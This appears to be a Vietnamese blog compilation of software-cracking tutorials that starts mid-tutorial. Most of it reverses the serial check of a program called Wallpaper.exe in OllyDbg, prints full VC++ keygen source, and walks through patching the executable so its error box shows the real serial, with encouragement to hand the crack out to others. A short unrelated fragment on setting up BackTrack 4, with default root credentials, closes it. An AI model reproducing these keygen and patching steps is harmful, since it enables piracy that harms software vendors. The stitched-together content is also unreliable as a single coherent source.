00404A58 . 0F84 F3000000 JE Wallpape.00404B51 ; <== If Length(FS) = 0 then Jump to Nag

/* Cũng tương tự đoạn code trên , đoạn này dùng để kiểm tra xem chúng ta có nhập Serial vào không */

- Oki , chúng ta đã nhập FU và FS vào rùi nên chúng ta sẽ vượt qua được hai đoạn kiểm tra này. Chúng ta sẽ đến một đoạn code hết sức quan trọng . Đó chính là đoạn Calculation :

00404A5E . 6A 00 PUSH 0 ; /Arg1 = 00000000
00404A60 . 8BCB MOV ECX,EBX ; |
00404A62 . E8 24D40200 CALL Wallpape.00431E8B ; \Wallpape.00431E8B
00404A67 . 50 PUSH EAX ; /Arg1
00404A68 . 8BCE MOV ECX,ESI ; |
00404A6A . E8 21010000 CALL Wallpape.00404B90 ; \Wallpape.00404B90 <==Calculation(trace into)

- Sau khi Trace Into vào trong hàm trên chúng ta sẽ găp một đoạn code như sau :


00404B90 /$ 83EC 2C SUB ESP,2C
00404B93 |. C74424 00 050>MOV DWORD PTR SS:[ESP],5 ; <== Default1 = 5
00404B9B |. C74424 04 030>MOV DWORD PTR SS:[ESP+4],3 ; <== Default2 = 3
00404BA3 |. C74424 08 070>MOV DWORD PTR SS:[ESP+8],7 ; <== Default3 = 7
00404BAB |. C74424 0C 010>MOV DWORD PTR SS:[ESP+C],1 ; <== Default4 = 1
00404BB3 |. 53 PUSH EBX
00404BB4 |. 56 PUSH ESI
00404BB5 |. 57 PUSH EDI
00404BB6 |. BB 88583422 MOV EBX,22345888 ; <== Temp = 0x22345888
00404BBB |. C74424 20 020>MOV DWORD PTR SS:[ESP+20],2 ; <== Default5 = 2
00404BC3 |. C74424 24 060>MOV DWORD PTR SS:[ESP+24],6 ; <== Default6 = 6
00404BCB |. 55 PUSH EBP
00404BCC |. 6A 09 PUSH 9
00404BCE |. C74424 30 040>MOV DWORD PTR SS:[ESP+30],4 ; <== Default7 = 4
00404BD6 |. 33ED XOR EBP,EBP ; <== i = 0
00404BD8 |. 896C24 24 MOV DWORD PTR SS:[ESP+24],EBP ; <== Default8 = 0

/* Chúng ta thấy rằng đây chính là một quá trình khởi tạo giá trị ban đầu sẽ sử dụng để tính toán về sau. Việc đầu tiên nó sẽ khởi tạo các giá trị mặc định là 5 , 3, 7, 1, 0, 2, 6, 4 vào trong một mảng. Để cho tiện chúng ta sẽ gọi mảng chứa những phần tử này là reaDefault [COLOR=Red](int reaDefault[9] = {0×5, 0×3, 0×7, 0×1, 0×0, 0×2, 0×6, 0×4}; ). Tiếp theo chúng ta sẽ thấy chương trình khởi tạo một giá trị khác là 0×22345888 được cất giữ trong thanh ghi EBX , vậy chúng ta gọi một biến là Temp sẽ chứa giá trị này (unsigned long int Temp = 0×22345888smilie . Cuối cùng chúng ta để ý thấy có một lệnh XOR EBP, EBP , lệnh này làm cho giá trị của thanh ghi EBP = 0×0, cho nên ta khai báo một biến i và khởi gán là 0 (i = 0) . Việc tại sao lại đặt tên biến là i sẽ nói ngay dưới đây thôi */[/COLOR]

- Sau khi trace qua đoạn code này, chúng ta sẽ đến một đoạn code tiếp theo:

00404BE1 |. 8B5424 44 MOV EDX,DWORD PTR SS:[ESP+44] ; <== FU
00404BE5 |. 83C4 04 ADD ESP,4
00404BE8 |. 8BF0 MOV ESI,EAX
00404BEA |. 8BFA MOV EDI,EDX ; <== FU
00404BEC |. B9 FFFFFFFF MOV ECX,-1
00404BF1 |. 2BC0 SUB EAX,EAX
00404BF3 |. F2:AE REPNE SCAS BYTE PTR ES:[EDI]
00404BF5 |. F7D1 NOT ECX
00404BF7 |. 49 DEC ECX ; <== Length (FU)
00404BF8 |. 74 1A JE SHORT Wallpape.00404C14

/* Đoạn code này chỉ là việc tính toán lại chiều dài của chuỗi FU mà chúng nhập vào , Length(FU) này sẽ được sử dụng trong quá trình lặp để tính toán tiếp phía dưới */

- Qua đoạn tính toán Length ở trên chúng ta sẽ đến đoạn code tính toán như sau :

00404BFA |> /45 /INC EBP ; <== i = i + 1
00404BFB |. |8BFA |MOV EDI,EDX ; <== FU
00404BFD |. |0FBE442A FF |MOVSX EAX,BYTE PTR DS:[EDX+EBP-1] ; <== FU[i]
00404C02 |. |03D8 |ADD EBX,EAX ; <== Temp = Temp + Fu[i]
00404C04 |. |B9 FFFFFFFF |MOV ECX,-1
00404C09 |. |2BC0 |SUB EAX,EAX
00404C0B |. |F2:AE |REPNE SCAS BYTE PTR ES:[EDI]
00404C0D |. |F7D1 |NOT ECX
00404C0F |. |49 |DEC ECX ; <== Length (FU)
00404C10 |. |3BCD |CMP ECX,EBP ; <== While (Length(FU) > i)
00404C12 |.^\77 E6 \JA SHORT Wallpape.00404BFA ; <== Continue Loop

/* Tại đoạn code trên, chúng ta quan sát thấy quá trình tăng dần của thanh ghi EBP , sau đó giá trị này sẽ được đem đi so sánh với với chiều dài của FU đã đựơc cất trong ECX trong đoạn code tính Length ở trên.Đó chính là lí do tại sao chúng ta lại khai báo một biến [COLOR=Red]i . Vòng lặp này sẽ thực hiện công việc như sau , nó sẽ lấy từng kí tự trong FU sau đó thực hiện một phép cộng dồn với biến Temp (Biến Temp lúc này đang lưu giá trị là 0×22345888). Vòng lặp này sẽ thực hiện bao nhiêu lần là tùy thuộc vào vào chiều dài của chuỗi FU. Kết quả sau khi tính toán được sẽ được biến Temp lưu giữ */

Trong VC++ vòng lặp tính toán cộng dồn trên được viết như sau :

//Caculation
i = 0;
while ( i < LenUser )
{
Temp = Temp + (reaName[i] & 0xFF);
i++;
}

- Sau khi qua khỏi vòng lăp này chúng ta sẽ đến đoạn code sau :


00404C18 |. 53 PUSH EBX ; <== Temp
00404C19 |. 68 D0044400 PUSH Wallpape.004404D0 ; ASCII "%08X"
00404C1E |. 50 PUSH EAX
00404C1F |. E8 AC6B0100 CALL Wallpape.0041B7D0 ; <== TempString = Convert(Temp) to String

/* Đoạn code trên đây làm công việc chuyển đổi giá trị chứa trong biến Temp . Cụ thể là nó sẽ chuyển giá trị trong biến Temp sang chuỗi ở dạng Hexa như định dạng mà nó đã đưa ra trong lệnh [COLOR=Red]PUSH (ASCII “%08X”) . Ví dụ như sau : với chuỗi FU là kienmanowar , sau vòng lặp cộng dồn chúng ta có được biến Temp chứa giá trị sau : 0x22345D24 , sau quá trình chuyển đổi này ta sẽ có một chuỗi là “22345D24″. Chuỗi này chúng ta lưu trữ trong một biến là TempString (char reaTempString[64] = {0}; ) */

Đoạn code chuyển đổi được viết lại trong VC++ như sau :
//Convert Temp value to Hex String
wsprintf(reaTempString, "%08X",Temp);

- Trace tiếp chúng ta sẽ đến đoạn code dưới đây :


00404C27 |. 33C0 XOR EAX,EAX ; <== i = 0
00404C29 |> 8B4C84 10 /MOV ECX,DWORD PTR SS:[ESP+EAX*4+10]; <== j = Default [i]
00404C2D |. 40 |INC EAX ; <== i = i + 1
00404C2E |. 83F8 08 |CMP EAX,8
00404C31 |. 8A4C0C 30 |MOV CL,BYTE PTR SS:[ESP+ECX+30] ; <== TempString[j]
00404C35 |. 884C06 FF |MOV BYTE PTR DS:[ESI+EAX-1],CL ; <== reaTempSerial[i] = TempString[j]
00404C39 |.^ 72 EE \JB SHORT Wallpape.00404C29

/* Trong đoạn code trên chúng ta nhận thấy lại có quá trình tăng dần của EAX cho nên ta lại khởi gán biến i = 0 . Vòng lặp này làm nhiệm vụ như sau, nó sẽ lấy các giá trị trong biến reaTempString theo những vị trị đã được khai báo trong biến reaDefault. Mà để lấy được các giá trị trong biến reaDefault chúng cần một biến j . Do đó ta khai báo thêm một biến j . Vòng lặp này sẽ được thực hiện [COLOR=Red]8 lần , để cho ra một chuỗi chứa trong reaTempSerial , mà thực chất chuỗi này chỉ là xáo trộn các vị trí trong reaTempString mà thôi. Thực ra sau quá trình này thì reaTempSerial chính là Real Serial , nhưng để dễ hiểu ta cứ gọi là reaTempSerial */

Đoạn code tương ứng được viết lại trong VC++ :

//Creat reaTempSerial
i = 0;
while (i < 8)
{
j = reaDefault[i];
reaTempSerial[i] = reaTempString[j];
i++;
}

- Cuối cùng sau khi chúng ta qua khỏi vòng lặp này chúng ta sẽ đi đến đích cuối cùng :


00404C3B |. 8BC6 MOV EAX,ESI ; <== Right Serial

/* Chúng ta sẽ thấy được Right Serial ngay tại câu lệnh trên */

Đoạn code tương ứng trong VC++ :

wsprintf(reaSerial,reaTempSerial);

2. Code Keygen trong VC++ :

Dựa vào tất cả những gì đã phân tích rất chi tiết ở trên , chúng ta chỉ việc ghép lại để có một đoạn code Keygen hoàn chỉnh như sau :


void CKEYGENDlg::OnGenerate()
{
// TODO: Add your control notification handler code here

char reaName[64]={0};
char reaSerial[64]={0};
char reaTempString[64] = {0};
char reaTempSerial[64] = {0};

unsigned long int Temp = 0×22345888;
int reaDefault[9] = {0×5, 0×3, 0×7, 0×1, 0×0, 0×2, 0×6, 0×4};
int i=0,j=0, LenUser=0;

LenUser=GetDlgItemText(IDC_NAME,reaName,128);
if (LenUser < 1 || LenUser > 64)
{
MessageBox(” ———-===== Your name atleast 1 chart =====———- \n\n———-===== But not over than 64 charts =====———- “,”Hey !! Please input your name again !! “);
}
else
{

// Calculation
i = 0;
while ( i < LenUser )
{
Temp = Temp + (reaName[i] & 0xFF);
i++;
}

//Convert Temp value to Hex String
wsprintf(reaTempString, “%08X”,Temp);

//Creat reaTempSerial
i = 0;
while (i < 8)
{
j = reaDefault[i];
reaTempSerial[i] = reaTempString[j];
i++;
}

wsprintf(reaSerial,reaTempSerial);
}

SetDlgItemText(IDC_SERIAL,reaSerial);

}

Trên đây một trong số các cách thức để một cracker thực hiện công việc code keygen . Sau khi bạn đọc xong bài viết này , bạn có cảm thấy dễ dàng hơn không? smilie . Thực sự Keygen nhiều lúc không đơn giản , nó đòi hỏi cả một nghệ thuật để làm sao đoạn code ngắn gọn , trong sáng nhất. Trong 4room này thì anh Moon là người có khả năng đó (và còn nhiều người khác nữa trong đội ngũ BQT của REA :wub: ). Em chỉ là Super Newbie học đòi theo anh Moon mà thôi. Hi vọng với bài viết với tinh thần truyền tải những gì hết sức basic như trên , các bạn sẽ định hình được phần nào công việc code Keygen của mình.

03/03/2005

Best Regards

kienmanowar

Kĩ thuật Internal Keygen[

I. Lời giới thiệu :

Nếu như các bạn đã từng đọc qua loạt tut về Olly của ARTEAM thì chắc chắn sẽ bắt gặp cụm từ “Internal Keygen” . Trong một số tài liệu khác cụm từ này có thể xuất hiện dưới các tên khác là “Keygen Injection” hay “Code Injection”. Vậy cụm từ này có nghĩa là gì ?

Thực chất thì “Internal Keygen” là một kĩ thuật giúp Cracker lợi dụng chính chương trình mà họ muốn crack , biến chương trình trở thành một Keygen. Nói như vậy vẫn có vẻ hơi mơ hồ và xa lạ !!
Như các bạn đã biết , trong quá trình crack soft mỗi User Name nhập vào thì chương trình mà chúng ta crack sẽ lại sinh ra một số Serial khác nhau ứng với User Name đó. Do đó, nếu như Serial mà chúng ta tìm được là chính xác thì việc đăng kí diễn ra hoàn toàn bình thường. Nhưng do mỗi Serial là khác nhau với mỗi User Name , do đó nếu như có một người nào đó muốn sử dụng chương trình thì bản thân họ phải tự tìm lấy Serial tương ứng với User Name của họ nhập vào. Điều này là rất bất tiện cho những người chẳng biết gì về Crack.

Khi bạn là một Cracker, thì tôi tin rằng các bạn cũng đã biết Keygen là cái gì và làm thế nào để có một Keygen. Keygen thường áp dụng cho các chương trình sử dụng cơ chế bảo vệ Name/Serial. Đối với các Cracker thì việc Keygen hoàn chỉnh được một soft đỏi hỏi họ phải biết phân tích thuật toán mà coder sử dụng để cho ra Serial (đôi khi cũng phải đoán xem ý đồ của coder, nhắm xem coder định làm gì để chặn đầu).Nhưng để phân tích và code ra một Keygen sẽ phải tốn khá nhiều thời gian và công sức, vì mỗi chương trình sẽ có những cơ chế tính toán khác nhau từ dễ đến khó để làm nản lòng các Cracker. Do đó, kĩ thuật “Internal Keygen” ra đời và được các Cracker sử dụng để tiết kiệm thời gian và công sức nhưng vẫn đem lại hiệu quả nhất định. Họ sẽ dùng kĩ thuật này để giải quyết bài toán với mỗi User Name sẽ có một Serial (tương đương với việc code một Keygen) bằng cách lợi dụng quá trình tính toán của chương trình để biến chương trình trở thành một Keygen.

Như đã nói ở trên, Cracker sẽ lợi dụng chương trình để biến nó thành Keygen ! Vậy họ sẽ lợi dụng cái gì ? Và làm thế nào để lợi dụng ?
Trong quá trình đăng kí sử dụng hợp pháp một chương trình , thì theo thường lệ chương trình sẽ yêu cầu chúng ta nhập User Name và Serial vào các text box . Khi chúng ta nhấn Register / OK thì có nghĩa là chúng ta muốn chương trình sẽ chấp nhận cho phép chúng ta đăng kí với những gì chúng ta đã nhập vào. Nếu như những gì chúng ta nhập vào là đúng thì một Message Box sẽ hiện ra thông báo đại loại như “Thank You” or “Successful” thông báo cho chúng ta biết là chương trình đồng ý với những gì chúng ta nhập vào và dĩ nhiên chúng ta đã trở thành người dùng hợp pháp : ). Nhưng trong trường hợp ngược lại , khi những gì chúng ta nhập vào là sai, thì lẽ thường tình đã có “Thank you” thì chắc chắn sẽ có một Message Box khác làm công việc ngược lại là thông báo “ Wrong Code” or “ Invalid Serial” bắn ra , báo cho ta biết đừng có mà cố gắng nữa làm gì . Càng cố càng sai thôi!! : ). Vậy cái mà Cracker lợi dụng ở đây chính là cái Message Box thông báo khi chúng ta nhập sai đó, thay vì việc nó Pop up ra thông báo “Wrong Code” or “Invalid Serial” thì Cracker sẽ cho chương trình Pop up ra cái Real Serial của chương trình sau quá trình tính toán. Mà cái Real Serial này dùng để làm gì tiếp theo chì chắc chắn không cần nói thì ai cũng biết phải làm gì .

Vậy để lợi dụng được nhược điểm này, không còn một cách nào khác là Cracker phải dùng một chương trình Debugger để Debug chương trình . Họ sẽ tìm xem chương trình sẽ sinh ra Serial ở đâu và lưu vào vị trí nào trong bộ nhớ. Song song với quá trình này thì họ cũng phải biết cái hàm Message Box thông báo sai nằm ở đâu. Khi đã có được 2 điều kiện cần ở trên , họ sẽ tiến hành sửa code để cho chương trình sẽ không bắn ra thông báo sai mà sẽ bắn ra cái Real Serial mà lẽ ra phải nhập vào tương ứng với User Name chứ không phải là một Fake Serial nào đó mà chúng ta nhập vào ...

Để dễ hình dung hơn, các bạn hãy quan sát một đoạn code đơn giản sau đây :

Original code:

CMP EAX, EBX ; EAX=our serial | EBX=correct serial
JNZ WrongCode ; Not the same? Then display "Wrong Code"
.... ; This is where the "Thank You" stuff is.
....
WrongCode:
.. ; Shoot Nag “Wrong Code”

Code after change:

CMP EAX, EBX ; EAX=our serial | EBX=correct serial
JNZ WrongCode ; Not the same? Then run the built-in keygen.
.. ; This is where the "Thank You" stuff is.
..
.. ; All the other code of the program.
..
WrongCode: ; We place our keygen at a convenient location.
.. ;
.. ; Push Right serial
Call xxxx ; Display the RIGHT serial.
... ; Continue the program Normal
...

Như các bạn đã thấy trên đây , mọi việc diễn ra rất đơn giản không có gì là phức tạp cả. Vậy tóm lại để có được một “Internal Keygen” chúng ta sẽ phải trải qua các bước sau đây :

1. Chúng ta phải biết được Real Serial được tạo ra ở đâu và được lưu vào vị trí nào trong bộ nhớ.

2. Chúng ta phải biết vị trí của hàm Message Box bắn ra thông báo sai ở đâu.

3. Cuối cùng chúng ta phải chỉnh sửa hàm Message Box thế nào khiến cho nó hiện ra Real Serial thay vì hiện ra thông báo sai.

Oki , tổng quát về kĩ thuật “Internal Keygen” là như thế, không có gì là “cao siêu” cả. Bước tiếp theo trong bài viết này tôi sẽ hướng dẫn các bạn một làm một ví dụ nho nhỏ để các bạn hiểu rõ hơn về kĩ thuật này.

II. Thực hành :

Trong phần giới thiệu ở trên, tôi đã chỉ cho các bạn các bước cơ bản nhất để tiến hành áp dụng kĩ thuật “Internal Keygen”. Trong phần tiếp theo này, tôi sẽ cùng với các bạn làm một ví dụ nho nhỏ để áp dụng kĩ thuật này. Một phần là để thay đổi không khí, một phần là để các bạn có cái nhìn trực quan hơn về cách thực hiện cũng như hiểu rõ thêm về các bước phải làm. Oki, chúng ta bắt đầu nhé!.

Ví dụ mà tôi sẽ sử dụng sau đây chính là file Wallpaper.exe (Down load here : http://www.reaonline.net/forum/showthread.php?t=884) đã được đề cập trong tut “Phân tích ASM và Code Keygen”(Link to this tut : http://www.reaonline.net/forum/showthread.php?t=921). Oki, chúng ta sẽ tiến hành phân tích chương trình này.

Đầu tiên chúng ta chạy thử chương trình, ngay lập tức chương trình sẽ hiện ra một hộp thoại “Wallpaper Registration” yêu cầu chúng ta nhập User Name và Serial vào. Chúng ta chưa có gì trong tay cả nên cứ việc nhập đại vào hai text box đó ( Vd : kienmanowar & 11111982 ). Sau đó nhấn OK, khi chúng ta nhấn vào nút này thì ngay lập tức chương trình sẽ tính toán lại Serial dựa trên User Name mà chúng ta đưa vào , sau đó so sánh Serial mà nó tính toán được với cái Serial mà chúng ta nhập vào (quá trình này xảy ra rất nhanh). Nếu trùng thì Ok , còn không nó sẽ Pop up ra thông báo sau :



kg1

Như những gì tôi đã nói với các bạn ở trên về kĩ thuật “Internal Keygen”, chúng ta sẽ biến chương trình này thành một Keygen để thay vì việc nó hiện ra cái thông báo sai như các bạn nhìn thấy ở trên, nó sẽ phải hiện ra cái Serial thật mà nó tạo ra cho chúng ta thấy. Oki , mục đích và ý tưởng là như thế , tiếp theo chúng ta sẽ hiện thực hóa ý tưởng của chúng ta.

Đầu tiên mở Olly lên , load file Wallpaper.exe vào Olly, việc tìm ra điểm đặt BP của chương trình này đã được tôi nói tới trong tut “Phân tích ASM và Code Keygen” rồi , các bạn có thể xem lại hoặc tự làm. Việc tìm ra điểm đặt BP của soft này hết sức dễ dàng. Oki, khi có được BP, nhấn F9 để run chương trình, tiến hành nhập thông tin đăng kí gồm FU & FS và nhấn Ok . Olly sẽ Ice tại điểm mà chúng ta đặt BP. Tiến hành Trace(F8) chúng ta sẽ có như sau :

00404A35 . 8B3B MOV EDI, DWORD PTR DS:[EBX] ; <== Fake User
00404A37 . B9 FFFFFFFF MOV ECX, -1
00404A3C . 2BC0 SUB EAX, EAX
00404A3E . F2:AE REPNE SCAS BYTE PTR ES:[EDI]
00404A40 . F7D1 NOT ECX
00404A42 . 49 DEC ECX ; <== Length(FU)
00404A43 . 0F84 08010000 JE Wallpape.00404B51 ; <== If Length(FU) == 0 then Jump to Nag

Tiếp tục :

00404A49 . 8B7E 5C MOV EDI, DWORD PTR DS:[ESI+5C] ; <== Fake Serial
00404A4C . B9 FFFFFFFF MOV ECX, -1
00404A51 . 2BC0 SUB EAX, EAX
00404A53 . F2:AE REPNE SCAS BYTE PTR ES:[EDI]
00404A55 . F7D1 NOT ECX
00404A57 . 49 DEC ECX ; <== Length(FS)
00404A58 . 0F84 F3000000 JE Wallpape.00404B51 ; <== If Length(FS)==0 then Jump to Nag

Oki, do chúng ta đã nhập đầy đủ các thông số mà chương trình yêu cầu , nên chúng ta đã vượt qua được đoạn code này. Tiếp theo chúng ta sẽ đến một đoạn code rất quan trọng , đó chính là đoạn code tạo ra Real Serial của chương trình :

00404A5E . 6A 00 PUSH 0 ; /Arg1 = 00000000
00404A60 . 8BCB MOV ECX, EBX ; |
00404A62 . E8 24D40200 CALL Wallpape.00431E8B ; \Wallpape.00431E8B
00404A67 . 50 PUSH EAX ; /Arg1
00404A68 . 8BCE MOV ECX, ESI ; |
00404A6A . E8 21010000 CALL Wallpape.00404B90 ; \Wallpape.00404B90 ;<==(Calculation)

Do đặc thù của kĩ thuật Internal Keygen cho nên chúng ta không cần phải biết và không cần quan tâm tới giải thuật hay thuật toán mà chương trình dùng để tính toán ra Real Serial, mà chúng ta chỉ cần biết vị trí của hàm tính toán ra Real Serial mà thôi. Như vậy , theo yêu cầu này thì chúng ta đã tìm ra được vị trí của hàm này rồi đó, chính là ở 00404A6A. Nhấn F8 tiếp tục cho tới hàm này và Trace qua hàm này. Sau khi Trace qua hàm này thì ngay lập tức chúng ta sẽ nhìn thấy Real Serial hiện ra trong cửa sổ Registers :

kg2

Cụ thể ở đây , chúng ta sẽ thấy Real Serial mà chương trình sinh ra sau hàm CALL ở 00404A6A được lưu vào thanh ghi EAX, cụ thể là tại địa chỉ 008E1210. Right Click lên thanh ghi EAX và chọn Follow In Dump chúng ta có được như sau :

kg3

Khà khà ...Như vậy bước đầu tiên trong 3 bước của kĩ thuật “Internal Keygen” đã được chúng ta thực hiện xong. Bước thứ 2 là chúng ta phải tìm ra chỗ của hàm Message Box “Invalid Key” ở đâu ? Để thực hiện được điều này, chúng ta nhìn xuống dưới đoạn code tính toán Serial :

00404A6A . E8 21010000 CALL Wallpape.00404B90 ; \Wallpape.00404B90 ;<==(Calculation)

chúng ta sẽ thấy như sau :

00404A97 > \85C0 TEST EAX, EAX
00404A99 . 0F85 B2000000 JNZ Wallpape.00404B51

Click chuột vào hàm JNZ này , là lần theo hướng mũi tên mà nó chỉ chúng ta sẽ tới được vị trí mà chúng ta cần tìm. (Thực ra khi các bạn đi tìm điểm đặt BP thì các bạn cũng đã phải thông qua bước tìm thông báo này rồi) :

00404B5A . 68 09040000 PUSH 409
00404B5F . 68 00000400 PUSH 40000
00404B64 68 B8024400 PUSH Wallpape.004402B8 ; ASCII "ERROR"
00404B69 68 C4044400 PUSH Wallpape.004404C4 ; ASCII "Invalid key"
00404B6E > 6A 00 PUSH 0 ; |hOwner = NULL
00404B70 . FF15 84994400 CALL NEAR DWORD PTR DS:[<&USER32.>; \MessageBoxExA

Vậy là bước thứ 2 trong cũng đã được thực hiện xong một cách rất dễ dàng . Tiếp theo tôi muốn nói với bạn một chút về hàm MessageBox:

int MessageBox(

HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);

Hàm MessageBox là một hàm nội tại của Windows. Điều này có nghĩa là , khi bạn là người lập trình , bạn viết một chương trình và thay vì việc bạn phải tự thân vận động để ngồi code ra một MessageBox của riêng chúng ta thì chúng ta có thể dùng hàm MessageBox sẵn có của Windows . Hàm MessageBox này sẽ tạo , hiển thị và thi hành một message box. Hàm MessageBox sẽ được gọi giống như bất cứ một hàm nào , và để sử dụng được hàm này thì điều đầu tiên chúng ta cần phải truyền biến cho nó hay còn gọi là đối số. Các đối số này đã được liệt kê như các bạn đã thấy ở trên. Việc tìm hiểu thêm về việc làm thế nào một MessageBox được tạo ra sẽ giúp cho chúng ta có những hiểu biết cơ bản để vận dụng nó vào công việc. (Để biết thêm chi tiết về hàm này các bạn có thể tham khảo trong tài liệu MSDN hoặc trong file win32.hlp ).

Như trên đã nói , chúng ta vừa trải qua hai bước : bước thứ nhất là tìm vị trí của hàm tạo ra Serial và vị trí của Serial được lưu tại thanh ghi EAX, bước thứ 2 là tìm ra vị trí của hàm MessageBox thông báo sai. Công việc tiếp theo và cũng quan trọng không kém 2 bước trước là bước thứ 3 : Edit code.
Như các bạn thấy, trong hàm MessageBox ở trên các đối số sẽ lần lượt được truyền vào theo cơ chế của Stack . Tức là đối số nào ở vị trí đầu tiên thì sẽ được truyền vào cuối cùng để khi lời gọi hàm MessageBox xuất hiện thì các đối số này sẽ được lấy ra lần lượt theo thứ tự ngược lại. Và trong ví dụ trên các bạn sẽ quan sát rất rõ điều này thông qua các lệnh Push. Để có cái nhìn thực tế hơn nữa các bạn có thể Trace để tới đoạn code bắt đầu của quá trình truyền đối số cho hàm MessageBox, trong cửa sổ Stack Window các bạn sẽ thấy như sau :

kg4

Khà khà.... các bạn có thấy gì không , khi chúng ta nhập thông tin đăng kí vào. Chương trình tiến hành tính toán và sẽ kiểm tra Serial ta nhập vào với Serial mà nó tính toán. Do chúng ta nhập Serial sai, nên sau vài bước kiểm tra chương trình sẽ Jump tới đoạn code để Pop up ra thông báo như chúng ta thấy . Các đối số được đưa vào ở đây cho phép chúng ta hiểu được có những thông tin như sau :
Tiêu đề của hộp thoại là : “ERROR”
Dòng text sẽ hiển thị trên hộp thoại là : “Invalid key”
v...v..

Vậy chúng ta sẽ phải làm gì ? Việc chúng ta phải làm là ép hàm MessageBox này thay vì nó sẽ hiện ra thông báo “Invalid key” thì ta buộc nó phải hiện Real Serial. Chúng ta đã biết địa chỉ của hàm tính toán Serial là tại 00404A6A và khi Trace qua hàm này ta nhận được Real Serial nắm ở thanh ghi EAX . Ta cũng đã biết được điểm bắt đầu của hàm MessageBox là ở địa chỉ 00404B5A. Vậy ta sẽ sửa câu lệnh ngay phía dưới của hàm tính toán để cho chương trình sẽ nhảy tới điểm bắt đầu của hàm MessageBox. Do đó tại câu lệnh :

00404A6F 8B56 5C MOV EDX, DWORD PTR DS:[ESI+5C] ; <== Fake Serial

chúng ta nhấn Space hoặc Right Click và chọn Assemble. Olly sẽ hiện ra hộp thoại Assemble cho phép chúng ta Edit lại đoạn code. Chúng ta sẽ thay lệnh trên bằng lệnh nhảy tới điểm bắt đầu của hàm MessageBox như sau, trong hộp thoại chúng ta gõ :

JMP 00404B5A

nhấn Enter , màn hình Olly sẽ hiện như sau :

kg5

Nhấn F8 để thực hiện lệnh này , nó sẽ nhảy tới điểm bắt đầu của hàm MessageBox. Để ý rằng lúc này giá trị Real Serial vẫn nằm tại thanh ghi EAX. Tiếp theo chúng ta sẽ thay đổi câu lệnh Push mà đẩy dòng text “Invalid Key” thành câu lệnh Push đẩy giá trị Real Serial. Do đó tại dòng :

00404B69 68 C4044400 PUSH Wallpape.004404C4 ; ASCII "Invalid key"

Chúng cũng thao tác tương tự và sửa nó thành :

00404B69 50 PUSH EAX

Nhấn Enter, màn hình Olly sẽ hiện như sau :

kg7

Nhấn F8 để Trace đến hàm gọi MessageBox, quan sát cửa sổ Stack các bạn sẽ thấy như sau :

kg8

Ke..Ke.. Nhìn vào đây các bạn có thể biết được khi chúng ta Trace qua hàm MessageBox thì nó sẽ hiển thị cho chúng ta cái gì rồi phải không. Đó chính là thứ mà từ đầu đến giờ chúng ta đã phải tốn nhiều giấy mực để thực hiện. Thật đáng đồng tiền bát gạo !!

kg9

Cuối cùng một công việc không thể thiếu đó là chúng ta hãy lưu lại tất cả những gì chúng ta vừa mới thực hiện . Ngay tai màn hình Olly , Right Click vào một vị trí bất kì trên màn hình Code Window và chọn Copy to Executable --> All modifications. Một hộp thọai hiện ra , ta chọn Copy All. Một màn hình mới xuất hiện , tại màn hình này chúng ta Right Click và chọn Save file. Đặt một cái tên bất kì mà chúng ta muốn và nhấn Save. Vậy là chúng ta đã có được một Internal Keygen rồi đó , đem phân phát cho mọi người thôi. : )

PS : Tại sao lại phải lưu vào , là vì trong trường hợp file chúng ta crack và save lại có kích thước nhỏ thì việc phát tán nó cho người khác rất dễ dàng. Nhưng nếu như file đó có dung lượng lớn thì chúng ta sẽ dùng file gốc và file đã được chỉnh sửa này để tạo ra một Patch file có kích thước nhỏ hơn để phân phát cho User.

III. Tổng kết :

Qua tất cả những gì tôi vừa trình bày ở trên , các bạn đã hiểu được phần nào kĩ thuật Internal Keygen là gì? Thực chất nó là kĩ thuật cho phép Cracker không phải ngồi lọ mọ nghiền ngẫm thuật toán để code ra một Keygen hoàn chỉnh , nó cho phép Cracker lợi dụng chính hàm MessageBox thông báo sai của chương trình , biến hàm này thành một hàm phục vụ cho việc hiển thị Real Serial mà chương trình đã tính toán ra. Mà để thực hiện được điều đó thì chúng ta phải biết Real Serial nằm ở đâu và hàm gọi thông báo sai nằm ở đâu để mà áp dụng kĩ thuật này một cách hợp lý và hiệu quả nhất.
Hi vọng với những gì cơ bản nhất mà tôi đã trình bày ở trên sẽ giúp ích cho các bạn phần nào trên con đường trở thành Craker
smilie

23/04/2005
-== kienmanowar ==-

- Thank to my family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker, the_Lighthouse, Hoadongnoi, Nini ... all REA‘s members, HacNho, RongChauA, Deux, tlandn, dqtln, Arteam .... all my friend, and YOU. : )

Backtrack 4 Beta

BackTrack là một live CD Linux về bảo mật rất hay. Backtrack tổng hợp rất nhiều công cụ kiểm thử xâm nhập phổ biến và nổi tiếng trên thế giới. Backtrack được đánh giá là Live CD về bảo mật hay nhất năm 2006 (#1 Security Live Distribution) được tổ chức bởi insecure.org

Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau.  Backtrack liên tục cập nhật các công cụ, drivers,… hiện tại Backtrack có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.

Bữa trước có down thử bản iso vể chạy thấy có khá nhiều thay đổi, nó tích hợp thêm khá nhiều công cụ dùng để pentest..nhưng nhìn mãi cái giao diện KDE cùa nó thấy cũng chán. Google một hồi thấy người ta nói về các trình WM khác như fluxbox, blackbox, icewm v…v… khá nhiều nên tôi đánh liều chọn thử một thằng về cài. Qua chat và trao đổi với cậu em 0day, thấy 0day khen fluxbox chạy nhẹ và mượt lắm và cậu ấy có show cho tôi cái linux desktop của cậu ấy. Mới nhìn vào thấy shock :) ^^, nhìn nó thanh thoát và nhẹ nhàng thật.Tuy nhiên tôi lại phân vân vì khi đọc tài liệu cũng như google chẳng thấy bác nào viết bài liên quan tới FluxBox cho BackTrack cả… :| . Sau một hồi lưỡng lự tôi tặc lưỡi làm liều và có giao hẹn với 0day là : Nếu như anh bí chỗ nào thì chỉ cho anh nhé!! Lần đầu tiên cài và cấu hình anh chẳng biết gì đâu lolz

Cài đặt fluxbox

Bài viết này tôi giả sử các bạn đã download Backtrack 4 iso và cài đặt lên ổ cứng rồi nhé. Tôi thì test thử trên vmware thôi :) . Chi tiết cách cài đặt BT4 lên hdd các bạn có thể xem link sau : http://www.offensive-security.com/documentation/bt4install.pdf. Giờ thì chúng ta boot BT lên, màn hình đăng nhập hiện lên ta gõ user và pass mặc định của BT :(user : root , pass: toor).

